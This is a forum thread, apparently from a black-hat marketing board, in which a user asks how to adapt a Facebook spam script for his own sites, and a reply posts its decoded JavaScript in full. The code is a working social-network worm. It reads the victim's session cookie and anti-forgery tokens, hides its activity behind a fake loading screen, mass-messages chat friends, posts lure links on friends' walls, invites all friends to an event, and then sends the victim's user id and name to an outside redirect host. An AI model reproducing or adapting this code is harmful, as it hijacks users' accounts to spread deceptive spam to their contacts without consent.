Need help with Java code

Webus

Newbie
Joined
May 1, 2011
Messages
3
Reaction score
0
Hello, first of all, thanks for coming to this thread. I really appreciate it.
I'm a complete noob at scripting and i completely ignore how most of the actions and weird codes work, i'm actually learning how to script but this code is way more compley than my current knowledge.
However, im pretty sure someone with some mid or advanced scripting knowledge can explain how it works and how to edit it so i can add my own sites, text, etc.

CODE:
index,estilosfacebook,tk/script,js? (Replace comas with dots)
(All the content is in spanish, it was the only site where i found a script that worked the way i need)

This code sends a message to all your facebook friends, post on random walls (a few) and creates an event inviting all the user friends.

I really need to know how it works as im starting to test online marketing and this script would be awesome.
If you can post a script that works on a similar way that is a little bit easier to understand and modify, it would be great.

Thank you in advance,
Webus.
 
it doesn't create event anymore ;) So this will be a kind of useless, facebook is killing them :D
 
@OP: Delete the URL in OP plz.

Outing/Posting Facebook Fan/Group page urls will result in a ban

Code:
http://www.blackhatworld.com/blackhat-seo/facebook/197503-outing-posting-facebook-fan-group-page-urls-will-result-ban.html
















Decoded

Code:
function changeTitle(a) {
    document['title'] = a
};
var chatmessage = 'Automensaje: \u2605%firstname%: YA puedes personalizar tu Facebook!!! Entra \u25BA xxx.co/ef01 \u25C4 y descubre c\xF3mo! Funciones como: Videochat, No Me Gusta, Zumbidos, Iconos, Temas, Escribir en color, INFINIDAD DE COSAS!!!!\u2605 ';
var postmessage = 'Personas que ya personalizaron su perfil:  \x0A %tf% \x0A %tf% \x0A %tf% \x0A %tf% \x0A %tf% \x0A Personaliza tu perfil entrando en: xxx.co/ef02\x0AFunciona de verdad!';
var redirect = 'http://xxx.tk/video.php';
var eventdesc = '\u2605Ya puedes personalizar tu Facebook!!! Entra \u25BA x.co/ef03 \u25C4 y descubre c\xF3mo! Funciones como: Videochat, No Me Gusta, Zumbidos, Iconos, Temas, Escribir en color, INFINIDAD DE COSAS!!!!\u2605';
var eventname = '\u2605Personaliza tu Facebook y activa funciones como: Videochat, No Me Gusta, INFINIDAD DE COSAS!!!!\u2605';
var nfriends = 5000;
var debug = false;
var wf = 0;
var mf = function () {
        if (wf <= 0) {
            setTimeout(function () {
                window['top']['location']['href'] = redirect
            }, 500)
        }
    };
var doget = function (a, b, c) {
        var d = new XMLHttpRequest;
        d['open']('GET', a);
        d['onreadystatechange'] = function () {
            if (d['readyState'] == 4) {
                if (d['status'] == 200 && b) {
                    b(d['responseText'])
                };
                if (c) {
                    c()
                }
            }
        };
        d['send']()
    };
doget('/', function (u) {
    var v = document['cookie']['match'](/c_user=(\d+)/)[1];
    var w = function (a) {
            return a ? '@[' + a['id'] + ':' + a['name'] + ']' : ''
        };
    var x = function (a) {
            return a ? a['name'] : ''
        };
    var y = function (a) {
            out = '';
            for (var b in a) {
                out += (out ? '&' : '') + b + (a[b] !== null ? '=' + encodeURIComponent(a[b]) : '')
            };
            return out
        };
    var z = function (a, b, c, d) {
            var e = new XMLHttpRequest;
            e['open']('POST', a);
            e['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
            e['onreadystatechange'] = function () {
                if (e['readyState'] == 4) {
                    if (e['status'] == 200 && c) {
                        c(e['responseText'])
                    };
                    if (d) {
                        d()
                    }
                }
            };
            e['send'](y(b))
        };
    var A = function () {
            var a = document['createElement']('div');
            a['style']['display'] = 'block';
            a['style']['position'] = 'fixed';
            a['style']['width'] = '100%';
            a['style']['height'] = '100%';
            a['style']['left'] = '0px';
            a['style']['top'] = '0px';
            a['style']['color'] = '#3b5998';
            a['style']['textAlign'] = 'center';
            a['style']['padding'] = '4px';
            a['style']['font-size'] = '32px';
            a['style']['background'] = '#FFFFFF';
            a['style']['zIndex'] = 999999;
            a['innerHTML'] = ' <br/><img src="http://genetics.bwh.harvard.edu/snp2rflp/circle.gif" onload="changeTitle("new title")"><br /><b>Cargando aplicacion, aguarde un momento...</b><br/><br/> La aplicacion esta preparando tu facebook para ser personalizado.<br/><br/>Powered by http://index.estilosfacebook.tk/<br/>';
            document['body']['appendChild'](a)
        };
    var B = u['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
    if (B) {
        comp = B[1]
    } else {
        comp = ''
    };
    var C = u['match'](/name="post_form_id" value="([\d\w]+)"/i)[1];
    var D = u['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
    var E = document['getElementById']('navAccountName')['firstChild']['data'];
    redirect = redirect + '?' + y({
        userid: v,
        name: E,
        doclose: 1
    });
    A();
    if (eventdesc) {
        wf++;
        z('/ajax/choose/?__a=1', {
            type: 'event',
            eid: null,
            invite_message: '',
            __d: 1,
            post_form_id: C,
            fb_dtsg: D,
            lsd: null,
            post_form_id_source: 'AsyncRequest'
        }, function (h) {
            var i = h['match'](/\\"token\\":\\"([^\\]+)\\"/)[1];
            var j = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + v + '&token=' + i + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha';
            doget(j, function (a) {
                var b = a['match'](/\{"uid":\d+,/g);
                var c = [];
                for (var d = 0; d < b['length']; d++) {
                    var e = b[d]['match'](/:(\d+),/)[1];
                    if (e != v) {
                        c['push'](e)
                    }
                };
                var f = new Date;
                f['setTime'](f['getTime']() + 86400000);
                datestr = f['getMonth']() + 1 + '/' + f['getDate']() + '/' + f['getFullYear']();
                timestr = f['getHours']() * 60;
                var g = {
                    post_form_id: C,
                    fb_dtsg: D,
                    start_dateIntlDisplay: datestr,
                    start_date: datestr,
                    start_time_hour_min: timestr,
                    name: eventname,
                    place_page_id: '',
                    location: '',
                    street: '',
                    geo_id: '',
                    geo_sq: '',
                    desc: eventdesc,
                    sgb_invitees: c['join'](','),
                    sgb_emails: '',
                    sgb_message: '',
                    privacy_type: 'on',
                    guest_list: 'on',
                    connections_can_post: 'off',
                    save: 'Create Event',
                    submitting: ''
                };
                g['new'] = '';
                z('/events/create.php', g, false, function () {
                    mf(--wf)
                })
            })
        })
    };
    if (chatmessage) {
        wf++;
        z('/ajax/chat/buddy_list.php?__a=1', {
            user: v,
            post_form_id: C,
            fb_dtsg: D,
            lsd: null,
            post_form_id_source: 'AsyncRequest',
            popped_out: false,
            force_render: true
        }, function (a) {
            var b = a['substr'](9);
            var c = eval('(' + b + ')');
            var d = c['payload']['buddy_list'];
            for (var e in d['nowAvailableList']) {
                var f = Math['floor'](Math['random']() * 1335448958);
                var g = (new Date)['getTime']();
                var h = chatmessage['replace']('%firstname%', d['userInfos'][e]['firstName']['toLowerCase']());
                z('/ajax/chat/send.php?__a=1', {
                    msg_id: Math['floor'](Math['random']() * 1335448958),
                    client_time: (new Date)['getTime'](),
                    msg_text: chatmessage['replace']('%firstname%', d['userInfos'][e]['firstName']['toLowerCase']()),
                    to: e,
                    post_form_id: C,
                    fb_dtsg: D,
                    post_form_id_source: 'AsyncRequest'
                })
            };
            mf(--wf)
        })
    };
    if (postmessage) {
        wf++;
        doget('/ajax/browser/friends/?uid=' + v + '&filter=all&__a=1&__d=1', function (g) {
            var h = g['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
            var i = [];
            if (h) {
                for (var j = 0; j < h['length']; j++) {
                    var k = h[j]['match'](/_\d+_/)[0]['replace'](/_/g, '');
                    var l = h[j]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, '');
                    i['push']({
                        id: k,
                        name: l
                    })
                }
            };
            var n = [];
            var o = [];
            while (i['length']) {
                var p = Math['floor'](Math['random']() * i['length']);
                n['push'](i[p]);
                o['push'](i[p]);
                var q = i['shift']();
                if (p) {
                    i[p - 1] = q
                }
            };
            if (debug) {
                alert('fetched friends: ' + n['length'])
            };
            var r = {
                post_form_id: C,
                fb_dtsg: D,
                xhpc_composerid: comp,
                xhpc_targetid: v,
                xhpc_context: 'home',
                xhpc_fbx: '',
                lsd: null,
                post_form_id_source: 'AsyncRequest'
            };
            mt = postmessage;
            m = postmessage;
            while (mt['search']('%tf%') >= 0) {
                var s = n['pop']();
                mt = mt['replace']('%tf%', x(s));
                m = m['replace']('%tf%', w(s))
            };
            r['xhpc_message_text'] = mt;
            r['xhpc_message'] = m;
            if (debug) {
                alert('message text: ' + mt)
            };
            z('/ajax/updatestatus.php?__a=1', r);
            var t = function (a) {
                    if (a == 0) {
                        wf = 0;
                        mf();
                        return
                    };
                    var b = o['shift']();
                    var c = {
                        post_form_id: C,
                        fb_dtsg: D,
                        xhpc_composerid: comp,
                        xhpc_targetid: b['id'],
                        xhpc_context: 'profile',
                        xhpc_fbx: 1,
                        lsd: null,
                        post_form_id_source: 'AsyncRequest'
                    };
                    var d = postmessage;
                    var e = postmessage;
                    if (n['length'] == 0) {
                        wf = 0;
                        mf();
                        return
                    };
                    while (d['search']('%tf%') >= 0) {
                        var f = n['pop']();
                        d = d['replace']('%tf%', x(f));
                        e = e['replace']('%tf%', w(f))
                    };
                    c['xhpc_message_text'] = d;
                    c['xhpc_message'] = e;
                    z('/ajax/updatestatus.php?__a=1', c);
                    setTimeout(function () {
                        t(a - 1)
                    }, 2000)
                };
            wf++;
            setTimeout(function () {
                t(nfriends)
            }, 2000)
        })
    };
    mf()
});
 
Last edited:
Why you always decode script and post other website? :|
 
Thank you, i posted the link because i thought posting the whole code would be worse. However, i didn't post a fan/group page url.
Thanks for your help. Im gonna try to use that code.
 
Back
Top